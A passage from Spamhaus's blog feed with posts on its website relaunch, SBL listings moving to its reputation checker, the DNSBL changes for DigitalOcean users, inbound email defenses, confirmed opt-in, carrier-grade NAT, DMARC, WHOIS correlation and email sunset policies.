the criminals enjoy a longer attack window as a result. Carel Bitter, Spamhaus' Head of Data, recently wrote about this exact issue, and the degradation of correlation as a research tool. From the lure of cheap TLDs to policy facades, the Internet naming and addressing elements of the supply chain face a myriad of problems. Read part two, where Dave discusses the crucial role of registries, registrars and other organizations and the changes necessary to fight cybercrime in the supply chain. The Interisle’s Cybercrime Supply Chain study 2023 was sponsored by the AntiPhishing Working Group (APWG), CAUCE, and the Messaging, Malware and Mobile Anti-Abuse Working Group (M3AAWG).

A website to effect change

The Spamhaus Team — Thu, 29 Feb 2024 10:03:14 GMT

The Internet has changed substantially over the past two to three decades. Unfortunately, the Spamhaus Project’s website hasn’t. An overhaul was well overdue, and we’re delighted, no, in fact, we’re ecstatic to say it’s happened. This revised site will help us to further our mission of strengthening trust and safety across the Internet, speaking to a broad variety of users. We will highlight positive and malicious behavior and enable users to make better decisions while providing a two-way flow of free data between the community. Time for change Since 1998, Spamhaus has shared free intelligence relating to IPs, domains, and ASNs to make the Internet a safer, more accountable place. Being the trusted authority on IP and domain reputation is something we take very seriously. Our commitment extends beyond sharing intelligence; Spamhaus also offers a wealth of education and support to our community. Having accumulated insights, best practices, thought leadership, and, let’s not forget, reputation data, it was time to expose all this goodness. Additionally, we wanted to better support the diverse needs of the community. Whether it's sharing the latest threats or providing assistance to individuals after being listed, security teams searching for threat intelligence, or senders looking for best practices, each audience has a very different use case that the new site aims to address. Ultimately we wanted a website that reflects who and what Spamhaus is today! Yes, we've been listening to your feedback. We've been building. And now, it's time to reveal the new Spamhaus Project website. First up are the reputation statistics! Reputation statistics Spamhaus researchers analyze over 45 billion signals daily, leveraging a global network of sensors and third-party data to scrutinize internet identifiers for potential malicious activity. Until recently, reputation statistics were limited to a snapshot of the top 10 worst offending countries, etc. The scope has now vastly increased to five core areas: Countries, Country code top-level domains (ccTLDs) General top-level domains (gTLDs) Networks Registrars Each area shares relevant data on malicious behavior, including botnet C&Cs, exploited devices, spam, phishing and malware. Furthermore, statistics are no longer limited to the top 10, providing a more comprehensive view of all traffic Spamhaus observes. Additionally, you'll now find monthly malware trends utilizing data from abuse.ch's open platforms, with overviews of malware campaigns and insights into malware distribution sites, samples, indicators of compromise (IOCs) & YARA rules. A vast amount of reputation analysis is available to help everyone understand what type of abuse is happening where, and enable them to make better decisions when choosing providers. We encourage registries to use the statistics and check if their TLDs are listed and in what areas. By proactively leveraging reputation statistics, registries can tackle abuse head-on. Likewise, networks and ISPs - this is a clear barometer of the type of abuse we are seeing on your network. For those purchasing a domain and hosting a website, consider the neighborhood you are setting up in. IPs and domains are brand assets that need to be protected. Spamhaus' reputation statistics can help identify reputable registrars and networks so you can make informed decisions. These statistics are for everyone; for those who want to change for the better and to hold those who don't accountable - learn more in the reputation statistics area. In the news At Spamhaus, we believe that sharing is caring. By coming together and sharing intelligence, knowledge, and experience, the community has the power and means to combat abuse on the Internet. Our live news feed brings together a timeline of threat intelligence, research, thought leadership, reports, and more from a community of highly skilled threat hunters, reverse malware engineers, Open Source Intelligence (OSINT) and Signal Intelligence (SIGINT) research specialists, and partners around the globe. Visit the newsfeed. You can also follow us on Mastodon, X, and LinkedIn to stay up to date with the latest insights. Strengthening trust and safety through education and support The Project’s website is a rich repository of resources covering IP and domain reputation, malware, DNS Blocklists, threat intelligence, service providers, and more. For those facing deliverability challenges, it is a hub of best practices and guidance from industry leaders. But that's not all. Hand in hand with education comes support. For those companies and organizations encountering difficulties tackling abuse on their networks, Spamhaus has a dedicated Industry Liaison. Not to mention Spamhaus' experienced ticketing team available through check.spamhaus.org, who often go to great lengths to provide assistance. Find the latest news insights, blogs, and best practices on the Resource hub. Free data for all Sharing intelligence was at the heart of why Spamhaus was conceived, as Steve Linford, our founder, got frustrated with the amount of spam he was receiving. Historically, we have provided free IP and domain DNS Blocklists (DNSBLs) through servers located throughout the world. These are still available to users today. However, we recommend that DNSBL users move to the free Data Query Service, provided on our behalf by Spamhaus Technology, which is a much-improved service. Utilizing our relationship with Spamhaus Technology enables users to also access a multitude of different delivery mechanisms for our data making it available for use across multiple areas, including investigations and DNS protection. Share intelligence, effect change In October 2023, Spamhaus launched its Threat Intel Community portal, opening the doors for anyone to submit malicious domains, IPs, raw source, or URLs. Since its inception, the response has been nothing short of overwhelming. With thousands of submissions pouring in daily, the portal recently reached a remarkable milestone: one million submissions! Believe us when we say every contribution counts. Whether they come from occasional contributors or organizations sharing large volumes of data via API, the diversity of submissions adds to the strength of the community. Interested in becoming a contributor? Find out more here. Thank you once, thank you twice, thank you thrice! We want to say a huge “thank you”. Firstly, to those who generously shared their feedback throughout this journey. Secondly, Spamhaus team members who devoted countless hours to bring this new website to fruition. And lastly, but certainly not least, to our incredible community, for your unwavering support over the past 26 years. That's enough from us! Explore the new website, share your feedback, and if you encounter any issues, please contact us via X, Mastodon or LinkedIn.

Spamhaus Blocklist (SBL) listings are moving

The Spamhaus Team — Fri, 16 Feb 2024 12:00:00 GMT

What is the SBL? If you’re familiar with SBLs, scroll down to “Why”. However, if you’re not familiar, the SBL is a list of IP addresses that Spamhaus Project researchers have identified as malicious. By malicious, we mean they’re being observed as doing something untoward, e.g. sending spam, or snowshoe spamming, behaving like a bulletproof hosting company or hijacking IP space; in other words, they’re the sort of IP addresses you don’t want to accept email from (or anything else for that matter). When one of our researchers makes an SBL listing for an IP or range of IP addresses, they send the network or hosting company responsible for that IP an email notification. Within this notification is a link to all the information relating to why the IP, or range, has been listed on the SBL. Until now, the SBL listings have resided on the Spamhaus Project website. But for a number of reasons this is about to change. We have taken away all the current listing information from our main site www.spamhaus.org and moved them to a separate dedicated site. Why? Have you visited www.spamhaus.org recently? It doesn’t possess the most up-to-date user interface one encounters in 2024. While it may be familiar to many, and perhaps comfortingly so, it is in need of a revamp. So, a rebuild is in progress (spoiler alert... due to go live within the next few months). Meanwhile, the Spamhaus IP and domain reputation checker - let’s call this the “Checker” - launched a couple of years ago, provides the perfect place for SBL listings to reside permanently. Therefore, it makes sense to relocate the SBL listings to this tool. This way, all IP and domain reputation information can be found in one place. Additionally, if your IP address also has listings on other datasets, such as the XBL Exploits blocklist, you can view these at the same time. How will I access my SBL listings? In exactly the same way you do now - Spamhaus Project researchers will email you an SBL listing notification email. However, it will include a URL starting with https://check.spamhaus.org/ to view the SBL listing details on the Checker. Alternatively, you can use the SBL ticket number to search for the listing in the Checker directly. Can I still access aggregated SBL listings for my network? Yes! Each abuse desk notification will include a URL to a page on the Checker with all SBL listings associated with that network. To go directly to the page, you can use the following URL format: check.spamhaus.org/sbl/listings/[networkname.com] My email bounced. How do I see if there is an associated SBL listing? For senders who receive bounced email messages (mail rejections) with an associated SBL listing, a URL is included to view more details. This URL will also navigate to the Checker rather than The Spamhaus Project website. Is there a timeline for the changes? The relocation of the SBL listings to the Spamhaus IP and Domain Reputation Checker is expected to take place beginning to mid-February 2024. Any questions? Feel free to reach out to us via Linkedin, X or Mastodon.

If you query the legacy DNSBLs via DigitalOcean move to Spamhaus Technology's free Data Query Service

The Spamhaus Team — Thu, 15 Feb 2024 06:59:25 GMT

The headlines for those in a hurry The Terms of Use state that users cannot query via DNS resolvers where there is no attributable reverse DNS; this includes DigitalOcean (we’ll explain why later in this article). To provide a clear signal to these users that these blocklists are not protecting their email, an error code will be returned; 127.255.255.254. If you haven’t set up your email servers to accept this error code, all emails could be rejected and bounced back to their sender. To prevent any issues with your email stream, stop accessing the free blocklists via the Public Mirrors and start accessing the blocklists via Spamhaus Technlogy's free Data Query Service (DQS), which you can sign up for here. Once you’ve verified your email address, you will get access to a “DQS key” to include in your configuration. These config changes take only minutes; see our technical docs for more detail. Why isn’t the Spamhaus Project allowing DigitalOcean users to query its public blocklists? The blocklists that are made freely available via the Public Mirrors are for small-scale, non-commercial use. To ensure these users have a good quality of service, usage is monitored and measured against the Project’s Terms of Use. DigitalOcean masks organizations’ queries to the Public Mirrors, so the team can’t attribute usage to individual entities. There is no way of establishing the number of queries a single organization is making. To provide transparency, these free blocklists can be accessed via Spamhaus Technology's free DQS. How is Spamhaus Technology's free DQS different from the free Public Mirrors? Usage transparency** – users register to access the free DQS and are provided with a key that records query volumes. Increased performance** – blocklists are updated in real time. Additional protection** – access to more blocklists, including Zero Reputation Domain Blocklist, Domain Blocklist with Hostnames, and Auth Blocklist. How to access the free DQS Sign up for an account Verify your email address Log in to your account and access your DQS key Update your email configuration. We have config guides for mainstream MTAs. How will DigitalOcean users be prevented from querying the free DNSBLs? To ensure the Terms of Use are adhered to, queries from a specific IP address outside the policy will be blocked, and an error code will be returned. In the case of querying via an open/public resolver, i.e., DigitalOcean, the error code is 127.255.255.254. If your MTA can’t correctly parse these error codes, serious issues can occur, including bouncing all emails back to their senders and your emails not being queried against the blocklists. Here’s how to properly configure your MTA to process these error codes, if you continue to use the Spamhaus Project’s DNSBLs. When will the error code for DigitalOcean DNSBL users be introduced? The error code will be slowly implemented across DigitalOcean’s IP space, commencing from Wednesday, February 14th, 2024. Please don’t delay – take action now and move to Spamhaus Technology's free DQS. What if I don’t want to use the free DQS? Use DNS resolvers with attributable DNS to continue being protected by Spamhaus’s IP and domain reputation. If you no longer wish for your mail stream to be protected by the free blocklists, remove all associated configurations from your email infrastructure. Further details Additional information for DNSBLs users having issues due to error codes is detailed here. Previous communications that were sent in relation to these changes can be found here: Spamhaus DNSBL return codes: technical update Using our public mirrors? Check your return codes now. Any questions? Not a problem – reach out to us via Twitter @spamhaus.

Part 2 – Effective strategies against inbound malicious email: using your own data

The Spamhaus Team — Thu, 15 Feb 2024 06:39:50 GMT

Select a security-focused email infrastructure Having a scalable, modern, and robust email infrastructure that provides all the necessary security and anti-abuse features, to protect against phishing, spam, and malware, is vital. An email infrastructure should enable blocking of connections from servers abused by spammers, emails with malicious URLs, connections from unauthorized countries, and high volumes of emails being sent to a single recipient – as well as providing analysis and scoring. Where email filtering is enabled, filters must be adjustable based on a business’s tolerance for false positives. Realistically, no business wants to allocate resources and people to a problem that doesn’t exist. Enforce authentication Alongside content inspection, email authentication checks should run to verify the source of incoming emails. There are two key authentication records mailbox providers should be looking to enforce. Sender Policy Framework (SPF) and Domain-based Message Authentication Reporting and Conformance (DMARC) are both must-have inbound spam defenses for any modern email marketing infrastructure. Other authentication methods can also be deployed, such as DomainKeys Identified Mail (DKIM) and Brand Indicators for Message Identification (BIMI). The risk here is brand impersonation. Malicious parties may send emails posing as well-known brands, for example, Google. If an organization isn’t enforcing SPF and DMARC, someone could spoof google.com and send to its users, creating a gateway for abuse. But authentication is only the tip of the iceberg. There are reams of data available to enhance defenses against malicious actors. Reject misconfigured email servers It’s important to be mindful of misconfigured email servers. These can be a sign of potential compromise or malicious activity, so it’s important to approach connection requests with caution. It is recommended to reject connections from email servers that are HELOing/rDNS themselves as an IP address, a non-existent domain, or empty text. By doing this, you can help ensure that your email server remains secure and is protected from potential threats. Define ‘normal’ email traffic Get to know your ‘as usual’ email traffic. Regularly analyzing email traffic is your ticket to quickly identify good traffic and traffic that should be monitored more closely. With enough analysis, typical traffic becomes predictable and easily recognizable. Consequently, anything outside of ‘normal’ can be identified and highlighted as suspicious. However, exercising caution when enforcing traffic rules is essential to avoid mistakenly blocking legitimate emails. Allowing some room for error can help prevent important messages from being blocked. Assign reputation to IPs and domains sending to the network With a deep understanding of normal email traffic, you can assign reputation to IPs and domains sending emails to your network. This can provide a further alert to any unusual activity. Using ### information such as the number of messages sent, the number of users sent to, the time of sending, and how often those IPs or domains send, allows the infrastructure to assign reputation to those resources. Furthermore, these reputational factors could help determine whether to reject, defer, or accept an email. Using Historical IP SMTP data The insights gained from historical data are just as valuable as monitoring real-time data flow. By simply maintaining 30 days (minimum) of historical SMTP data on IPs seen connecting to the network, it is possible to monitor who is sending and rejecting any unwanted connections. For example, an unexpected burst of email could indicate a spam campaign. Using historical data, a rate limit can be applied to newly seen or previously low-volume IP ranges attempting to send large volumes of email to an infrastructure. Similarly, IP ranges that are sending or checking a large number of unknown users could be an indicator to defer or reject the emails. As we know, spammers often maintain large lists that contain many unknown users or abuse services that attempt to verify addresses. Therefore, an IP address with a higher-than-average rejection rate for unknown users should be investigated. And, more than likely, rejected! Keep an eye on the inside But what if bad actors are already inside? The truth is that users can be compromised from within the email infrastructure and send malicious emails internally. Email within an organization is often subject to less filtering than those at the network level, making it vulnerable to malicious activity. Hence, paying attention to unusual indicators such as employees emailing outside of their usual working hours or communicating with individuals they typically don’t correspond with is essential. Is it normal for Suzie from Customer Success to email the Finance Director at 2 am? It seems unlikely! By monitoring such activity, security teams can detect potential threats and take appropriate action. This could include rate limiting or suspending the user to deter malicious actors and prevent a severe business email compromise. Doing something is better than nothing It’s important to keep in mind that safeguarding a network against inbound malicious emails can be overwhelming, and the strategies shared are just a few recommended practices. While they are aimed at enhancing network security in the long run, it’s not necessary to implement them all at once. Even small steps towards implementing these strategies can help improve your network security. Remember, security is like an onion with many layers, and diversifying between different tools and techniques will only enhance protection against malicious email threats. Don’t have the time or resources to analyze your own data? Share basic email connection data (no PII!) with Spamhaus for targeted email protection, like security service provider, Censornet – learn more here.

Malware Digest January 2024

The Spamhaus Team — Thu, 15 Feb 2024 06:31:36 GMT

January saw a 173% increase in new malware sites hosted in India, with a welcome 41% decrease in the US. Mirai is back as the most common malware with 851 samples shared, and there are now 19,292 YARA rules available for hunting on YARAify - find out more in January's malware report.

Permission pass: what, how and when to use

The Spamhaus Team — Tue, 30 Jan 2024 17:11:48 GMT

A company collected thousands of single-opt-in email addresses from their website, and added them to their mailing list. A mailing was sent to that list, and now the domain or IP have been blocklisted by ISPs and spam filter systems. How can this problem be fixed? The solution is to conduct a "(re)Permission Pass" to rid the list of addresses which should not be there. A Permission Pass involves sending out a new bulk email to the list, asking the recipients to confirm that they wish to remain subscribed to it. ONLY those who click the link to confirm are then kept on the list; those who do not answer (or whose addresses bounce) are deleted from the list. The resulting list is a 100% clean Confirmed Opt-in (COI) list, which is infinitely more valuable than the original. Before conducting a Permission Pass the sender will need to contact and work with any major spam filter systems that are currently blocking the IP or domain; they need to agree to the mailing in advance. If we believe that the effort to convert to COI is genuine, Spamhaus will normally agree to help by suspending a specific listing (or not listing new IPs) to allow the Permission Pass to be sent without triggering more blocks. It is vital that the semantics of a Permission Pass be clearly understood: A permission-pass is ONLY appropriate where an otherwise opt-in list has got slightly dirty, in the event of an insecure web form being abused, etc. It is NOT appropriate to run a Permission Pass on a list that has been gathered by harvesting, purchasing, renting or from other questionable sources. You can not simply buy a list from a 3rd party and conduct a permission pass on it, this behavior will be considered to be spamming and treated as such. A permission pass is opt-IN, not opt-OUT. You can not ask recipients to respond in order to opt-out of the list - that is just spamming. "Permission" does not exist with opt-out. Opt-out leaves all the bad addresses on the list, leaving the list open to generating complaints, hitting spamtraps, and continuing the cycle of mailings ending in junk folders or blocked by spam filters. A permission pass will often significantly reduce the size of a mailing list. This may at first seem counter-productive to some marketers who think quantity is better than quality, but there is no point in having a giant list of people who are not responding or who feel they are being spammed. You can only conduct a permission pass once for each recipient. If they do not respond you can NOT contact them again to urge them to respond. The resulting clean list is 100% recipients who are interested in receiving your mailings. Keep it safe from future pollution. Secure your web forms too! If you are really serious about the future of your legitimate bulk email marketing business, consult an email deliverability specialist such as wordtothewise.com who can help devise strategies and policies that will help to improve inbox placement and ROI, to send email responsibly and will also help your company be seen as a responsible mailer by the industry in general.

Mailing Lists -vs- Spam Lists

The Spamhaus Team — Mon, 29 Jan 2024 17:29:05 GMT

Overview Solicited Bulk Email is an important mechanism for keeping consenting customers informed of products or service-related news. When Bulk Email is solicited, it is valuable to the recipient: when it is unsolicited it is purely spam, an unwanted and unwelcome nuisance to the recipient which unfairly forces the recipient to assume the cost of receiving, storing and removing the unrequested email. The difference between senders of legitimate bulk email and spammers could not be clearer. The legitimate bulk email sender has verifiable permission from the recipients before sending their email, and the spammer does not. Spam Opt-Out All bulk email sent to recipients who have not expressly registered permission for their addresses to be include in the specific mailing list, or which requires recipients to "opt-out" to stop further unsolicited bulk mailings, is by definition Unsolicited Bulk Email, a/k/a "Spam". Unconfirmed Opt-In If an opt-in request is not confirmed, it can not be verified. The sender has subscribed the address to a mailing list without verifying if the address owner has in fact granted permission for that action, or not: in many cases, the senders have harvested or purchased/rented the address from another spammer and "opted it in" themselves. Unconfirmed Opt-in means that anyone can subscribe any address to a mailing list regardless of whose it is. For example, anyone can use "President@Whitehouse.gov" to subscribe, and according to the list owner, the President has then 'opted-in'. Unconfirmed Opt-in is an excuse for spammers to harvest or buy lists, and claim they have "permission" where there was none granted. This is why Unconfirmed Opt-in lists are known as "dirty lists" in the respectable bulk email industry, and as "Block the sender on sight" lists in the anti-spam industry. In the event of a "spam" accusation: The sender has no verifiable proof that the recipient gave permission to be placed on the bulk mailing list, and is therefore liable for having sent Unsolicited Bulk Email a/k/a Spam. Action can be reasonably be taken against the sender. The sending of Unsolicited Bulk Email is against the Terms of Service of all ISPs worldwide, against the the Terms of Service of all reputable ESPs, is illegal in many countries, and is against Spamhaus SBL policy. Legitimate Bulk Email "Confirmed Opt-in" Known as "COI" or "Double Opt In" in the legitimate bulk email industry, it can also be referred to as "Verified Opt-in" or sometimes "Close Loop Opt-in". When using COI, the recipient has verifiably confirmed permission for their email address to be included on the specific mailing list by confirming (responding to) a list subscription verification request that is sent at the time of the sign-up. This is the gold-standard best practice for all responsible bulk mailing & marketing firms. Using COI ensures that users are properly subscribed using a functional email address with the address owner's consent, protects against hitting spam traps, and improves inbox placement. In the event of a "spam" accusation: The sender is fully and legally protected because the address owner's affirmative response to the subscription verification request was received, and proves that the address owner did in fact opt-in and grant verifiable consent for the mailings. This simple protection means that the sender can not be legitimately listed on any 'spam' blocklist, or legitimately terminated for spam complaints by an ISP since he has an actual email from the address owner confirming the subscription. "COI: a way to turn a horribly performing bloated list that demands a specialist ESP to mail and manage, into a high-performing list that a small business with a one-man IT department could handle." - Bill Cole

Botnet Threat Update Q4 2023

The Spamhaus Team — Thu, 11 Jan 2024 12:00:00 GMT

In Q4 2023, the number of botnet command and control (C&C) servers increased by 16%. China, the United States, and Russia were the countries leading the pack, with a significant spike in Bulgaria, and a disappointing surge in active botnet C&Cs across big-name networks.

Malware Digest December 2023

The Spamhaus Team — Tue, 09 Jan 2024 12:00:00 GMT

URLHaus experienced a surge in new malware sites hosted across the APAC region, including China (360%), Singapore (265%) and Taiwan (103%). Whilst new entrant Sock5Systemz is #1 for samples shared - find out more in December's malware report.

The conundrum that is the modern use of NAT at a carrier grade level

The Spamhaus Team — Mon, 08 Jan 2024 11:21:25 GMT

The modern use of NAT poses a problem for both users and reputation vendors alike. Network Address Translation (NAT) is simply a way of hiding a number of devices behind a single IP. Most home routers do this transparently and many users will not even be aware this is happening. Carrier Grade NAT (CGNAT) is just NAT on a much larger scale. Instead of one customer, one public IP and many devices, there is a public IP pool and a much larger number of customers: so many that there is no longer a one-to-one correlation. It is not possible to say, "this IP belongs to Mister X." If this reminds you of the dialup pools of yesteryear, you are not wrong and the similarities do not end there. Not only does Mister X not have that IP, he has just one port on one IP for the duration of that connection and not a moment after. That same application, be it a browser, mail client or game, may show up on a different port on a different IP at the same time. An analogy, using clowns. Starting with the dialup era and progressively getting worse with each generation, the internet clown infestation has always been a problem. Ever since they started letting clowns on the internet, they have engaged in their hobby of sending mail to anyone and everyone. Back in the dialup days, it was possible to point and say, "At this time, there was a clown here on this dial-up IP, and he was not funny. See to it." and the ISP would be able to look it up and stick the clown in the penalty box. No longer. The advent of widespread use of Network Address Translation (NAT) in 2004 enabled a whole new layer of tomfoolery. Instead of just one clown in the ring at a time, now there is a whole clown alley in the clown bus - why, it's almost a truck! With NAT it became impossible to tell from which part of the circus tent (ISP) a clown came from. In many parts of the civilised world, the clowns are not allowed to leave the circus (ISP) at all: this is also called "outbound port 25 blocking". With the advent of outbound port 25 blocking, clowns were effectively silenced in those areas of the world. However, much of the internet is not as enlightened, and for this reason, the "Spamhaus Pierrot Block List" (Spamhaus Policy Block List - PBL) exists. If the internet is visualised as a map, the PBL would be little signs all over the place warning of: "spontaneous clowns!" Why NAT enables clowns It is utterly unclear who is talking when all you can see is a bus that appears to be full of clowns. You wonder, could there be actual regular people inside? From outside the circus tent, one can only hear the noise - is that a spamware clown, residential proxy clown, or worse, a malware clown? Could it be a real person trying to send real mail? Who knows? From the outside, NAT functionally reduces a whole household or apartment building to one IP, and since there's no way to see inside, it is safest to assume that it's all clowns all the time. But what has this to do with Carrier Grade Network Address Translation (CGNAT)? "Clown Grade" NAT takes NAT to a whole new level - that small circus tent with the little clown alley in it, and upgrades it all the way to a complete clown college. The Clown Grade version has a pool of public IP addresses and significantly more households behind that. There is now zero accountability and the quantity of clowns becomes simply "more than one,". Instead of one clown showing up to entertain your child on their birthday, the entire clown academy arrives. And no one wants their house overrun like that! Okay, enough clowns. Now for some real talk. This entire arrangement is an extension of the mobile phone world, where the users neither know nor care what their IP address is: these users do not use mail in the traditional sense, they use an app, it does everything for them and they do not care how. This technology has now been extended to fixed internet, where users are less mobile and often providers are not even telling their customers that this is what they are using. In our experience, many a detection is caused by this neglect, and the customer is often surprised or outraged to learn that they are behind address translation without their knowledge or consent. In the distant past, when dialup was the problem, a spammer could dial in, start spamming and then disconnect when he had finished. Should he get blocked during his spam run, he could simply disconnect, reconnect with a new IP and return to business as usual. This is what spammers on certain large cloud providers do today - for exactly the same reasons. Get blocked, get a new IP, continue merrily spamming. (The PBL evolved to list these dialup ranges for this very purpose. Even now, the PBL applies reasonably well to cheap cloud hosting.) These days with CGNAT, the spammer doesn't just have one IP at a time, he has the whole pool to spam from, funnelled through a single IP that is shared with a lot of innocent victims of their ISP's policy. Every connection the spammer makes comes from a different IP in the pool and before you know it, everything is listed. To add insult to injury, many modern applications include slyly hidden residential proxies under the hood, and these are busy selling your connectivity for their own gain. For "free!" What can providers do about this? It would help if ISPs would make it clear in their DNS that these IPs are CGNAT. For reasons unclear, many providers seem to prefer not to assign rDNS to their CGNATs at all. The most effective way to stop CGNATs being spam cannons and avoid getting them listed is to filter outbound connections to port 25 from their CGNAT pools. Modern users do not need port 25 open; they should all be using SMTP Authentication with port 587 or 465. Port 25 is only needed by mail servers and access to it should be restricted by default. Limiting access to port 25 prevents all the infected devices behind the NAT from being able to successfully distribute their spam and malware-laden emails, and with the exponential rise in residential proxy networks, this becomes ever more important. Closing port 25 will not fix their residential proxy problems, but it will definitely reduce support costs, reduce the spam load in the world and also reduce the spread of malware. It's a simple, low cost effort that has a lot of bang for the buck.

Are you ready for the email authentication revolution?

Matt Vernhout — Tue, 19 Dec 2023 18:33:39 GMT

A paradigm shift is brewing in the inbox, spearheaded by Yahoo and Gmail’s stricter authentication mandates. While the news might have you scrambling for the DMARC button, we invite you to join Matthew Vernhout VP, Deliverability at Netcore Cloud, as he peels back the layers to help you understand what this shakeup truly means for your email fortunes.Think of email authentication as a digital passport verification for your messages, ensuring they’re not imposters masquerading as your brand. But unlike a passport whisking you off to any beach, authentication alone doesn’t guarantee inbox nirvana. It’s a crucial step but not a magic carpet ride to inbox paradise. So, where’s the value in getting your emails verified? Brand Protection**: DMARC acts as your digital moat, shielding your domain from spoofing attempts. No more shady characters tarnishing your brand with phishing scams – your reputation remains sparkling clean. Deliverability Boost**: While not a guaranteed express lane to the inbox, authentication can improve your chances of landing in those coveted inboxes. Authentication adds a layer of validation to your emails, signifying that your brand approved the sending of these messages and signaling to mailbox providers that they should stop unapproved emails. This can both help or hurt your reputation, depending on your mailing practices. Read the reports**: By design, DMARC is ready to provide feedback to domain owners about the success of their authentication efforts or if they are being targeted for spoofing. Having a policy with no reporting or a bad reporting address is not going to help with your long term authentication efforts. But what if you choose the “authentication-less” path? Expect Bounces**: Your emails might get delayed or rejected altogether, leaving recipients frustrated and your marketing efforts wallowing in the dirt. Spam Folder Delivery**: Even if they don’t bounce, they’re likely to get relegated to the spam folder, gathering dust and gathering crickets. Leaving your carefully crafted messages lost in the digital abyss. Reputation Issues**: Over time, a lack of authentication could chip away at your sender reputation, making it even harder to reach inboxes in the future. Think of it as building trust – without it, you’re stuck in email purgatory, forever knocking on closed doors. Authentication isn’t a magic bullet or way out of the spam folder, but it’s the cornerstone of building a successful email strategy in today’s landscape. It’s like laying the foundation for a sturdy email house, ensuring your messages have a fighting chance of reaching their intended audience. Remember these key takeaways: Embrace DMARC, even if it’s just reporting at first. Think of it as dipping your toes in the verification pool and use the data to fix your authentication issues. Keep your DKIM in sync with your “From” address – it is your email’s ID and signature, making sure everyone recognizes you. Ensure proper SPF configuration on your envelope domain if your ESP supports this – relaxed alignment is fine. Buying a new domain? Age the domain appropriately and then slowly warm up your new domain. Think of it as making friends with the email gatekeepers, building trust one email at a time. Talk with your email partners, your ESP, or mail host, to help you properly configure your email marketing efforts and authentication. They will be the best place to start with your journey and likely have documented support processes in place already. Don’t wait until February’s deadline to join the authentication revolution! By taking proactive steps now, you can ensure your emails land where they deserve and your brand thrives in the ever-evolving inbox landscape. Remember, in the email game, verification is your passport to success. Let’s embark on this email authentication journey together and create a brighter inbox future; one verified email at a time! Missed the live session? Catch the replay of our live conversation featuring experts Sri Chandran and Matthew Vernhout! It’s your chance to unlock even more insights and actionable steps to navigate this new chapter.

WHOIS: identification or correlation?

Carel Bitter — Thu, 07 Dec 2023 17:21:50 GMT

Recently, an industry peer pointed out that WHOIS data made it possible to uncover a large cluster of domains. The domains were used for a fake URL-shortener scheme and a massive SMS phishing operation, known as Prolific Puma. Of course, this particular method of correlation is not new. Except since the arrival of GDPR, this technique has lost much of its power, due to redacting of ownership records by registries. And this is why she mentioned it: WHOIS correlation is becoming so rare that any successes deserve mention. WHOIS correlation: A success story Let’s take a deeper dive into the specifics of this case. The original research from Infoblox on Prolific Puma highlights a powerful case of correlating a large number of malicious domains via WHOIS domain owner records. Unfortunately, this is far less common these days. In this particular case the choice of TLD by the Prolific Puma operator definitely helped. The domains were all registered under the .us TLD – in theory the official TLD for the United States. Compared to many other TLDs, .us has two things that set it apart. First, there is a policy that forbids WHOIS proxy services, meaning whatever registrant info is on file will appear in the public record. And second – often overlooked, but almost equally important in a case involving thousands of domain names – the data is reasonably accessible for research. Meaning, the WHOIS service has usable rate limits and responds quickly with the data you want. Why mention this? Because this certainly isn’t the case for every TLD or registrar that maintains and provides thick WHOIS data. Using WHOIS data for correlation When talking about WHOIS, policy debate typically focuses on identification, considering things like GDPR, and the privacy implications of publishing ownership data. The fact that this same data allows for large scale correlation regrettably receives much less airtime. When researching cybercrime, it is often the case that the ownership data of malicious domain names is fake (the ownership data is made up) or stolen (the owner may exist, but they have not purchased that specific domain). While there is attribution value in some of the data, the real value is in the correlation or clustering that WHOIS data can fuel. Once you can achieve this at scale, preventive left-of-bang action becomes a reality for most types of online crime that rely on multiple domain names. Correlating new domains to ‘good’ clusters Using WHOIS data for correlation rather than identification has another use case. While we care about finding malicious domain names, we are also interested in identifying benign ones. After all, domain reputation is a spectrum which has a good end, too. Established businesses can register new domains for a variety of reasons. Over time, this may end up generating a portfolio of thousands, or even tens of thousands of domains. Being able to easily correlate a new domain name to a cluster of existing benign domains is incredibly valuable, allowing defenders to focus on finding potentially malicious domains at the middle of the spectrum. Downfall of WHOIS data collection In light of the above, ICANNs recently launched RDRS system is of questionable use. As it requires manual work per-domain, it is irrelevant in large scale processing workflows that are often used to identify security threats within the domain name space. That said, it is not unlike the current state of WHOIS data collection, where policy and technical implementation make it harder – not easier – to get to the valuable data in the registry. In the absence of at-scale access to this data, those that need it have developed different ways to do correlation. While some of these methods can help identify relationships that can’t be found via WHOIS, they are often slower and much more computationally expensive. Unfortunately, these approaches are not true replacements, as there is simply no good alternative for a comprehensive domain ownership registry. Towards a solution for correlation As you might imagine, it is beyond frustrating for researchers that a treasure trove of useful data is still out there, but in practical sense inaccessible for use. Yes, RDRS is a positive step forward, however, it does not address the scale issue. Implementing a public identifier accessible at scale that uniquely correlates an owner across a registrar, while not perfect, would go a long way. It would enable correlation without revealing actual PII, helping prevent cybercrime damage instead of cleaning it up afterwards. To make this happen the security, fraud prevention and IP fields need to work together to drive the necessary change in policies and practices. It will not be easy, but it can be done.

Malware Digest November 2023

The Spamhaus Team — Tue, 05 Dec 2023 12:00:00 GMT

This month saw an increase in active malware distribution sites across Central Europe. New October entrant ShadowPad dominated the ThreatFox Top 15s with a +459.82% increase. Meanwhile, YARAify scanned over 8 million distinct files!

What is an email sunset policy and why do you need one?

The Spamhaus Team — Wed, 29 Nov 2023 17:35:14 GMT

A sunset policy is a strategy deployed to rid your email database of old email addresses that are no longer engaging with your email. It is an essential tool for any email sender to maintain good email hygiene. With most modern mailbox providers effectively integrating sender engagement data into their IP and domain reputation algorithms, this has never been more important. Emailing old, unengaged addresses, you are at risk of significantly damaging your reputation. Just as confirmed opt-in is the gold standard for email deliverability, saying goodbye to unengaged email addresses should be a vital part of your email playbook. Let’s delve into why a sunset policy is essential and what you need to do to put it into action. Why do you need a Sunset Policy? Unfortunately, most senders measure email program success by the size of their database. Except it’s the quality of the list that matters, not the size. You can find best practices and practical tips to achieve consistent email deliverability here – an email sunset policy is an extension of this guidance. Without a sunset policy, email programs are vulnerable to four major pitfalls: Increased exposure to spamtraps Recycled spamtraps are an effective way for mailbox providers and email filtering providers to evaluate sender’s list hygiene and use of best practices. For example, during the holiday season, well-known brands dig deep into their databases to boost sales. In doing so they are increasing the risk of sending to a larger number of abandoned mailboxes, leading to spamtraps hits and bounces. This is a strong indicator that subscribers’ signals should be paid more attention. A rise in spam complaints As well as email frequency and cadence, incorrect audience targeting can cause spam complaints to increase.And the more unengaged your audience becomes, the more likely they are to mark your mail as spam. Reputation deterioration Most email filters analyse the quality of the email stream they receive. A list with an increasingly unengaged audience indicates fewer people are interested in receiving the email and will be reflected in the reputation. This is crucial to note during a warmup campaign – particularly if you are sending from a 